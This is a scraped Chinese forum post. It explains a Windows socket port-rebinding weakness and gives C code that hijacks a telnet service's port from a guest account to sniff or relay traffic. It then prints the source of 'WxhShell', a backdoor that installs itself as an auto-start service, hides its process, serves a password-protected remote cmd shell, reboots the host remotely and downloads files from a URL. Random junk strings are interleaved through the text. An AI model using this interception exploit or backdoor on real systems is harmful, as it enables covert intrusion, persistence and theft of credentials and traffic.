-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: vJTdZ p s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KG7 ~)g SbS*z: saddr.sin_family = AF_INET; VrDSN .)J7 \z8m saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;Qe-y|> wj$l 093 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2loy4f h$]=z\= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ypyqf55gK KU:RS+,e; 这意味着什么?意味着可以进行如下的攻击: +ZOjbI) Uj]Tdg 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5qZebD2a zl8O @g 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) lsJl+%&8 2Iv&XxSo 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vKrOIBP K[{hh;7 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 dQW=k^X 'U |qe[`x;
% 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G':wJ7[]` lRb|GS.h/ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 y~eQVnH5W &!Sq6<!v2 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W&MZ5t,k= BJA&{DMHm #include rLP:kP'b #include WTWONO> #include b2rlj6d #include -lICoRO# DWORD WINAPI ClientThread(LPVOID lpParam); Fl8*dXG& int main() rf@Cz%xDD { C1/qiSHsh WORD wVersionRequested; Y
1v9sMN, DWORD ret; bxU 2.YC WSADATA wsaData; f7&53yZF BOOL val; 5D9n>K4| SOCKADDR_IN saddr; yE+Wb[H[ SOCKADDR_IN scaddr; l 1C'<+2j! int err; 4G ?Cu,$ SOCKET s; NJ%>|`FEi7 SOCKET sc; P_7QZ0k/ int caddsize; OO$YwOKS HANDLE mt; 4th*=ku DWORD tid; >aw`kr wVersionRequested = MAKEWORD( 2, 2 ); 'c]Fhe fb err = WSAStartup( wVersionRequested, &wsaData ); "INIP? if ( err != 0 ) { 5B:%##Ug5 printf("error!WSAStartup failed!\n"); *yX5g,52-| return -1; !]#@:Z } R_JB`HFy= saddr.sin_family = AF_INET; VK)vb.: _mBFmXHHS$ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Vv|%;5( <I
5F@pe' saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ICvl;Q saddr.sin_port = htons(23); !!KA9mP if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8D]&wBR: { ab-z 7g printf("error!socket failed!\n"); `#g62wb,HY return -1; \}Hi\k+h': } >_3P6-L> val = TRUE; FGRdA^` //SO_REUSEADDR选项就是可以实现端口重绑定的 H^TU?vz}
< if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %2q0lFdcM { 5u5-:#sLy printf("error!setsockopt failed!\n"); =\ek;d0Tqb return -1; r(qwzUI } }F
B]LLi //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; iNO}</7? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 v~B
"Il //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 )I{~Pcq s*;rt if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z=KHsMnB { \86:f<)P ret=GetLastError(); GZq~Pl printf("error!bind failed!\n"); -f&m4J} E return -1; #TUuk } f)_k_ < listen(s,2); g6D7Y<}d while(1) l b9O { JLz.lk*. caddsize = sizeof(scaddr); ._X|Ye9/ //接受连接请求 ?S8_x]E sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 5$PDA*]9 if(sc!=INVALID_SOCKET) 5+Ld1nom { jtH>&O mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N{}o*K if(mt==NULL) [<nmJ-V { E*"-U!?)l2 printf("Thread Creat Failed!\n"); cVYPPal break; }+/F?_I=
% } J/k4CV*li( } '=V1'I*
CloseHandle(mt); LlF|VR&P. } t&>eZ" closesocket(s); F'^y?UP[ WSACleanup(); :OKU@l| return 0; ^1\[hyZ! } i6-&$< DWORD WINAPI ClientThread(LPVOID lpParam) vEZd;40y { XS_Ib\-50 SOCKET ss = (SOCKET)lpParam; v(GT+i)| SOCKET sc; qX"m"ko unsigned char buf[4096]; eZbT; SOCKADDR_IN saddr; By;{Y[@rS long num; .
g8WMm DWORD val; zI&). DWORD ret; k:yrh:JhB //如果是隐藏端口应用的话,可以在此处加一些判断 C"cBlru8B //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 u-k!h saddr.sin_family = AF_INET;
Ir?ehA saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1i=p5,| saddr.sin_port = htons(23); 4yDWVd; if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y**>l{!! { 8(@Y@`/ printf("error!socket failed!\n"); '-2|GX_o return -1; Cj10?BNV) } 8h{;*Wr- val = 100; 1\LK[tvh if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @tfatq+q { k%K\~U8" ret = GetLastError(); #W2#'J:l return -1; =rzhaU'A' } )uK Tf=; if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VD0U]~CWR { b|-7EI>l9 ret = GetLastError(); _s~F/G`iT return -1; +*=?0 \ } dz"HO!9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #+SdX[N { 5X}OUn8 printf("error!socket connect failed!\n"); &m~ closesocket(sc); d$<1Ma} closesocket(ss); 15Vo_
wD<y return -1; 'Im&&uSkr } Epm%/ {sHV while(1) &B@qb?UE1 { )#0Llx! //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 wpepi8w, //如果是嗅探内容的话,可以再此处进行内容分析和记录 $E35W=~) //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;Ebpf J num = recv(ss,buf,4096,0); &^JYIRn1\ if(num>0) |>Wi5h{6X send(sc,buf,num,0); Y6ORI else if(num==0) M^?=!!US^ break; 8
huB<^ num = recv(sc,buf,4096,0); v>'mW if(num>0) Y^ti;: send(ss,buf,num,0); -FW'i10\2+ else if(num==0) nOdAp4{:q% break; vy{YGT } x5YHmvy/l closesocket(ss); A,f%0
eQR closesocket(sc); 0qk.NPMB0 return 0 ; <^YZ#3~1T } nH(Hk%~ fud Lm fS- 31<? ========================================================== h@D</2> .ta*M{t 下边附上一个代码,,WXhSHELL G{{Or }c;h:CE# ========================================================== bl-t>aO*.V ("rIz8b #include "stdafx.h" ~8^)[n+)x *
~4m!U_s #include <stdio.h> qkh.?~ #include <string.h> 0ZpWfL #include <windows.h> ^J7g)j3 #include <winsock2.h> VkDFR
[k_ #include <winsvc.h> d){Al(/ #include <urlmon.h> *N?y <U ; J40t14u #pragma comment (lib, "Ws2_32.lib") V[BlT|t #pragma comment (lib, "urlmon.lib") <B=!ZC=n ey3;rY1 #define MAX_USER 100 // 最大客户端连接数 hXM2B2[ #define BUF_SOCK 200 // sock buffer MESPfS+ #define KEY_BUFF 255 // 输入 buffer aShZdeC*f i4*!t.eI #define REBOOT 0 // 重启 o]@g%_3X #define SHUTDOWN 1 // 关机 m8ydX6~max lITZ|u #define DEF_PORT 5000 // 监听端口 ]Zz<9zix p!w}hB598 #define REG_LEN 16 // 注册表键长度 k.CHMl] #define SVC_LEN 80 // NT服务名长度 > [|SF%
s7#|'jhZt // 从dll定义API DozC> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uyDYS typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M"$TXXe typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;r
XhK$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %D:5 S?{ 4uUR2J // wxhshell配置信息 `L<)9* struct WSCFG { ;o0o6pF int ws_port; // 监听端口 c&T14!lfn char ws_passstr[REG_LEN]; // 口令 )gAFz+ int ws_autoins; // 安装标记, 1=yes 0=no Q`X5W char ws_regname[REG_LEN]; // 注册表键名 N~A#itmdx char ws_svcname[REG_LEN]; // 服务名 tXIre-. 2} char ws_svcdisp[SVC_LEN]; // 服务显示名 Oz1ou[8k char ws_svcdesc[SVC_LEN]; // 服务描述信息 /+F|+1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F ttny] int ws_downexe; // 下载执行标记, 1=yes 0=no 4ng*SE_ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" P$|DiiH char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mmn1yX:d ,w/f:-y }; (B zf~#]~
YErn50L // default Wxhshell configuration 7F{=bL struct WSCFG wscfg={DEF_PORT, @tLoU% "xuhuanlingzhe", ^2PQ75V@. 1, lC|{{?m "Wxhshell", +/Lf4??JV "Wxhshell", fKY1=3 "WxhShell Service", ~-w "Wrsky Windows CmdShell Service", <#9zc'ED: "Please Input Your Password: ", /@bLc1" 1, ~Zd n#z\ " http://www.wrsky.com/wxhshell.exe", r,4V SyZF\ "Wxhshell.exe" 9/k?Lv }; cMEM}Qh
T jdY v*/^ // 消息定义模块 fV.43E char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; db!2nImNu\ char *msg_ws_prompt="\n\r? for help\n\r#>"; T7.u7@V2 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; `|^<y.-6 char *msg_ws_ext="\n\rExit."; E4'D4@\W char *msg_ws_end="\n\rQuit."; '#.:%4 char *msg_ws_boot="\n\rReboot..."; rS
4'@a char *msg_ws_poff="\n\rShutdown...";
ka&-tGg char *msg_ws_down="\n\rSave to "; ,b@0Qa" m~Dq0 T char *msg_ws_err="\n\rErr!"; EN%Xs578 char *msg_ws_ok="\n\rOK!"; 32IN;X| u0J+Nj9 char ExeFile[MAX_PATH]; o /fq int nUser = 0; DOWUnJ;5 HANDLE handles[MAX_USER]; nWK"i\2#G int OsIsNt; FZ^byIS[ ?mt$c6- SERVICE_STATUS serviceStatus; +G_6Ek4 SERVICE_STATUS_HANDLE hServiceStatusHandle; B!le=V,@, =P+S]<O // 函数声明 vAJfMUlP int Install(void); z~oGd, int Uninstall(void); Ac.z6]p int DownloadFile(char *sURL, SOCKET wsh); }#
-N7=h int Boot(int flag); #V8='qD
void HideProc(void); ):+H`Hcm int GetOsVer(void); k-
sbZL int Wxhshell(SOCKET wsl); " I@Z:[=2 void TalkWithClient(void *cs); ^U_B>0`ch int CmdShell(SOCKET sock); )vS##-[_ int StartFromService(void); A?;/]m; int StartWxhshell(LPSTR lpCmdLine); r DY q]` *k'9 %'< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j86s[Dty VOID WINAPI NTServiceHandler( DWORD fdwControl ); I01On>"@7 i*Y/q-N| // 数据结构和表定义 't{=n[ SERVICE_TABLE_ENTRY DispatchTable[] = 5Tpn`2F { |U^
ff^] {wscfg.ws_svcname, NTServiceMain}, 2uWzcy ?F {NULL, NULL} hP,1;`[1 }; EW4XFP4
c #IBBaxOk // 自我安装 ?V[yw=sl04 int Install(void) 9~,eu { oUw-l_ M] char svExeFile[MAX_PATH]; z6G^ BaT' HKEY key; ~|J6M strcpy(svExeFile,ExeFile); uB,B%XHj (p14{ // 如果是win9x系统,修改注册表设为自启动 ^@)/VfVg if(!OsIsNt) { VUF7-C* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^[%~cG RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J7QlGm,= RegCloseKey(key); Y=3Y~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1}8e@`G0.] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NE9e brK RegCloseKey(key); I/WnF"yP return 0; r 'jVF'w } _n}!1(xYa` } b9y
E } K?T)9 else { V7401@F iMp)g%Ng // 如果是NT以上系统,安装为系统服务 2
yP#:T/z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \k1Wh-3 if (schSCManager!=0) Gcs+@7!b { Ya9uu@F SC_HANDLE schService = CreateService q]Qgg ( xJ&StN/' schSCManager, 82)d.> wscfg.ws_svcname, ]K9x<@! wscfg.ws_svcdisp, j9u-C/Q\r SERVICE_ALL_ACCESS, ;v0sM*x%V SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z=F=@ <! SERVICE_AUTO_START, Wt3\&.n SERVICE_ERROR_NORMAL, 6!"15dPN svExeFile, ZTmdS NULL, ',!#?aGV NULL, v8%]^` ' NULL, i^IvT NULL, s\jLIrG8 NULL 6:EO ); 7GP?;P if (schService!=0) <01B\t7 { 5e2mEQU> CloseServiceHandle(schService); [
objdQU` CloseServiceHandle(schSCManager); ^5T{x>Lj strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e2*^;&|% strcat(svExeFile,wscfg.ws_svcname); C6P6 hJm if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [U jbox RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |\_O8=B% RegCloseKey(key); 95!xTf return 0; "Z{^i3gN } D\`$ } nlmkkTHF8 CloseServiceHandle(schSCManager); I'@ }Yjm| } bm+ Mr } DSjo%Brd- kDv)g return 1; hsE!3[[ } 1QN]9R0`#7 W.67, 0m$ // 自我卸载 &1[5b8H;+ int Uninstall(void) Xl aNR+ { %eah=e HKEY key; lT:<ZQyjT rzTyHK[ if(!OsIsNt) { 8@qahEgQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MoX*e RegDeleteValue(key,wscfg.ws_regname); nK|"; RegCloseKey(key); V+Tj[:ok if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A!f0AEA, RegDeleteValue(key,wscfg.ws_regname); 'Aqmf+Mm RegCloseKey(key); ~*[}O)7# return 0; NPc%}V&C(u } iK#{#ebAoW } T5Fah#-4 } ,H%\+yn{ else { eQLa .0 y1'/@A1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 53T2w,? if (schSCManager!=0) 2~@=ua[|=5 { l1:j/[B= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /.?\P#9) if (schService!=0) DuE>KX{<!R { )3
r1; ^W if(DeleteService(schService)!=0) { UF{2Gx CloseServiceHandle(schService); ,\m c.80 CloseServiceHandle(schSCManager); .U3p~M+ return 0; dG rA18 } Qpc{7#bp CloseServiceHandle(schService); xl9l>k6, } lxd<^R3i#^ CloseServiceHandle(schSCManager); dg!sRm1iZ: } UEe qk"t^ } uJO*aA{K /Yh([P> return 1; /0c&!OP } gky_]7Av ~9c9@!RA2 // 从指定url下载文件 aj,ZM,Ad int DownloadFile(char *sURL, SOCKET wsh) C[pDPx,#:G { MQ+ek4 HRESULT hr; 5R Hs char seps[]= "/"; }Q=Zqlvz char *token; @$*c0.
|z char *file; 96.Wfx char myURL[MAX_PATH]; <#Lw.;(U;k char myFILE[MAX_PATH]; h>/ViB@"W| vuZ<'?Nm strcpy(myURL,sURL); L~$RF {$ token=strtok(myURL,seps); oN$ZZk
R while(token!=NULL) (NQ[AypMI { e)7)~g54 file=token; cm3Y!p{p" token=strtok(NULL,seps); H5AY6), } OS
6 )` s7e'9Bx GetCurrentDirectory(MAX_PATH,myFILE); 6)$_2G%Zq strcat(myFILE, "\\"); <H)@vW]_ strcat(myFILE, file); w s=T R send(wsh,myFILE,strlen(myFILE),0); }B-A*TI<h send(wsh,"...",3,0); Dpd$&Wr0Y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yU.0'r5uR if(hr==S_OK) O, {
( return 0; .9xGLmg else ;Ki1nq5c#s return 1; 39j d}]e =gIYa } ,2`d3u^CW {5udol5? // 系统电源模块 jveRiW@ int Boot(int flag) =/;_7|ssd { JdHc'WtS!| HANDLE hToken; ,gvX ~k TOKEN_PRIVILEGES tkp; !D3}5A1, D:(f" if(OsIsNt) { >DRs(~|V# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [1C#[Vla LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f#~Re:7.c tkp.PrivilegeCount = 1; ge[i&,.&z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?5Fj]Bk] AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0Nu]N)H5<l if(flag==REBOOT) { I/aAx.q if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h 3&:"*A2 return 0; )rj mJ } [}2.CM else { Pb,^UFa= if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o,yvi return 0; yLx.*I^6 } [q&J"dt } q,DX{: else { dX*>?a if(flag==REBOOT) { zmFFBf"< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L\ %_<2 return 0; xgz87d/<: } |^Es6 .~ else { 2M?lgh4" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {nefS\#{ return 0; d_+8=nh3 } C]fTV{ } )^N8L< VK;x6*Y return 1; 0UJ`<Bfd } [,^dM:E/ ugB{2oq i // win9x进程隐藏模块 i =N\[& void HideProc(void) Wu( 8G { `tG_O s
vb4uvY HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s8[9YfuW if ( hKernel != NULL ) 4C%>/*%8> { ^-u HdafP pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w<Cmzkf ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rcx;3Vne FreeLibrary(hKernel); LG#w/).^ } \`&pk-uW d~jtWd|? return; Jche79B } cJEz>Z6[ IWqxT?* // 获取操作系统版本 $`{q[ { int GetOsVer(void) zm+4Rl( { \GvY`kt3 OSVERSIONINFO winfo; Rr 4CcM winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 15o.j!S GetVersionEx(&winfo); xm|4\H&Bg if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S7ehk*` return 1; {(}w4.! else F/*fQAa" return 0; `u~ } t;dQ~e20 Gv,92ny!| // 客户端句柄模块 s~Wu0%])Q int Wxhshell(SOCKET wsl) `qDz=,)WP { X/-KkC SOCKET wsh; ckN(`W,xp struct sockaddr_in client; #IaBl?}r^ DWORD myID; n,jE#Z.D s.;KVy,=Bu while(nUser<MAX_USER) *{dD'9Bg { *OOa)P{^D int nSize=sizeof(client); C}=_8N wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 92aDHECo if(wsh==INVALID_SOCKET) return 1; .;Utkf'I y-<PsP-I handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )SL@>Cij if(handles[nUser]==0) r(1pvcWY- closesocket(wsh); ONN{4&7@< else >\7RIy3 nUser++; jaO#><f } 9hR:y. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K~Au?\{
r,.95@ return 0; J;=aIiN]R } av;
(b3Lq M,\|V3s // 关闭 socket )/WA)fWkT void CloseIt(SOCKET wsh) Iz?Wtm } { s/G5wRl< closesocket(wsh); 9SH<d)^ nUser--; Gp ^ owr ExitThread(0); ;h-G3>Il } _N,KHxsG8B O5TK&j // 客户端请求句柄 1x\W521 void TalkWithClient(void *cs) &Qq/Xi,bZ { VJl &Bq+ /2_B$ SOCKET wsh=(SOCKET)cs; KSgQ:_u4} char pwd[SVC_LEN]; X[~f:E[1J char cmd[KEY_BUFF]; *]:G7SW{ char chr[1]; +A'q#~yILa int i,j; Jl}!CE@- |,a%z-l while (nUser < MAX_USER) { LTYuxZ
il IV}8 if(wscfg.ws_passstr) { 4('0f:9z+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GwMUIevO_ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .}$`+h8WT //ZeroMemory(pwd,KEY_BUFF); Y1yXB).AH8 i=0; f^6&Fb> while(i<SVC_LEN) { g`)/ x\ (Y'UvZlM%P // 设置超时 \2gvp6 fd_set FdRead; r\l3_t struct timeval TimeOut; e<L 9k}c FD_ZERO(&FdRead); o]|oAN9 FD_SET(wsh,&FdRead); lrmt)BLoh TimeOut.tv_sec=8; f>s#Ngvc TimeOut.tv_usec=0; KMpDlit int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); np`gcj# if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k5fH;
u]1-h6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AF*ni~ pwd =chr[0]; Lt;.Nw if(chr[0]==0xd || chr[0]==0xa) { ~4=]%XYz pwd=0; w>z8c3Dq} break; U9@t?j_#X{ } Lem\UD$D` i++; ,);=
(r9 } %)<oX9E OUlxeo/ // 如果是非法用户,关闭 socket mJGO)u& if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F;d%@E_Bc } .`p<hA)%[C CzzUi]*Ac{ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vy{rwZ$ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x%IXwP0 ,`%k'ecN while(1) { q19k<BqR <i{m.pR> ZeroMemory(cmd,KEY_BUFF); 8`AcS|k 9&[)(On74 // 自动支持客户端 telnet标准 fR]p+\#8u* j=0; E,*JPK-A x while(j<KEY_BUFF) { !~lVv&YO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3ZW/$KP/ cmd[j]=chr[0]; nJldz; if(chr[0]==0xa || chr[0]==0xd) { z^ aCQ3E cmd[j]=0; hkmTpH1<M break; r+[#%%}ea } Pg*?[^* j++; abTDa6 /`v } |aI|yq) IL+#ynC // 下载文件 4DQ07w if(strstr(cmd,"http://")) { +X* F<6mZ send(wsh,msg_ws_down,strlen(msg_ws_down),0); ' D)1ka. if(DownloadFile(cmd,wsh)) K)Df}fVOc send(wsh,msg_ws_err,strlen(msg_ws_err),0); CU#L *kz else o ;[C(OS send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V!pq,!C$v } gD,YQ%aq else { oglXW8 Vr&el switch(cmd[0]) { RR[)UQ i$`|Y* // 帮助 P;)2*:--) case '?': { >~`Y send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _SMT.lG
break; }"%!(rx } di]$dl|Wi // 安装 <_BqpZ^` case 'i': { SE-!|WR if(Install()) ^w;o \G send(wsh,msg_ws_err,strlen(msg_ws_err),0); _qC+'RE3 else [<en1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "J]f0m= break; 4 o3)* } 6T^N!3p_ // 卸载 O_r^oH case 'r': { m+D2hK* if(Uninstall()) .;<7424(% send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1zb$5 {,| else !XgQJ7y_Z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FSW3' break; o-\ok|,)#j } "?oo\op // 显示 wxhshell 所在路径 ?dp-}3/G case 'p': { 'sm[CNzS char svExeFile[MAX_PATH]; ~u_K&X strcpy(svExeFile,"\n\r"); 17V\2=Io strcat(svExeFile,ExeFile); c^ixdk send(wsh,svExeFile,strlen(svExeFile),0); &_Cxv8 break; paq8L{R } ;el]LnV!O // 重启 uuI3NAi~ case 'b': { BlkSWW/ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .K $p`WQ{ if(Boot(REBOOT)) uHfhRc9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); lSZ"y
Q+ else { +
$k07mb\ closesocket(wsh); O]e6i%? ExitThread(0); )HJK '@ } 7^kH8qJ) break; RtW4n:c } >[Xm|A# // 关机 2.StG(Y! case 'd': { WafdE send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H"Q(2I if(Boot(SHUTDOWN)) 3mpP|b" send(wsh,msg_ws_err,strlen(msg_ws_err),0); {M` else { L\QQjI{ closesocket(wsh); Z7`5x ExitThread(0); 'b LP~ } Ix( 6 break; i
FC"!23f } =^BqWC2~ // 获取shell o8w-$
Qb case 's': { >=4sPF) CmdShell(wsh); am]3
"V> closesocket(wsh); Hm.X}HO0L ExitThread(0); R!sNg break; n
(OjjRm } y.jS{r". // 退出 &(lMm ) case 'x': { 11i"nR| send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8&?^XcJ*x CloseIt(wsh); ^bF}_CSE break; ~wfoK7T} } k%"$$uo // 离开 c}YJqhk0J case 'q': { 929#Q#TT send(wsh,msg_ws_end,strlen(msg_ws_end),0); xg(<oDn+\ closesocket(wsh); ;
qO@A1Hq WSACleanup(); 60~v
t04 exit(1); S|l&fb n break; OpYmTep#T\ } -sP9E|/:'3 } [vE$R@TZ0! } D*|(
p6v1& -s{R/ 6: // 提示信息 jjxIS if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RI?NB6U } aLV~|$:2 } cB{%u
' %rFP#L return; }%_qx|(P|t } G?>qd}]y0L <inl{CX/ // shell模块句柄 %wOOzp` int CmdShell(SOCKET sock) Q?Wr7 { ,Yo: &>As STARTUPINFO si; x<8\- ZeroMemory(&si,sizeof(si)); t9ER;.e si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >Ja0hS{* si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ggMUdlU PROCESS_INFORMATION ProcessInfo; 3)dP7rmZ char cmdline[]="cmd"; sc<kiL CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ri,2clp return 0; Xe)Pg)J1 } o\d |CE;> TV?
^c?{5 // 自身启动模式 n:F@gZd` int StartFromService(void) VIetcs { p#)e:/Qy typedef struct ,Ak ^nX { Nc,*hsx' DWORD ExitStatus; fQxSMPWB DWORD PebBaseAddress; &Y{F?
c^ DWORD AffinityMask; x 96}#0' DWORD BasePriority; l+oDq'[q" ULONG UniqueProcessId; X#VEA=4{ ULONG InheritedFromUniqueProcessId; 6ezcS}:+ } PROCESS_BASIC_INFORMATION; ~'(9?81d
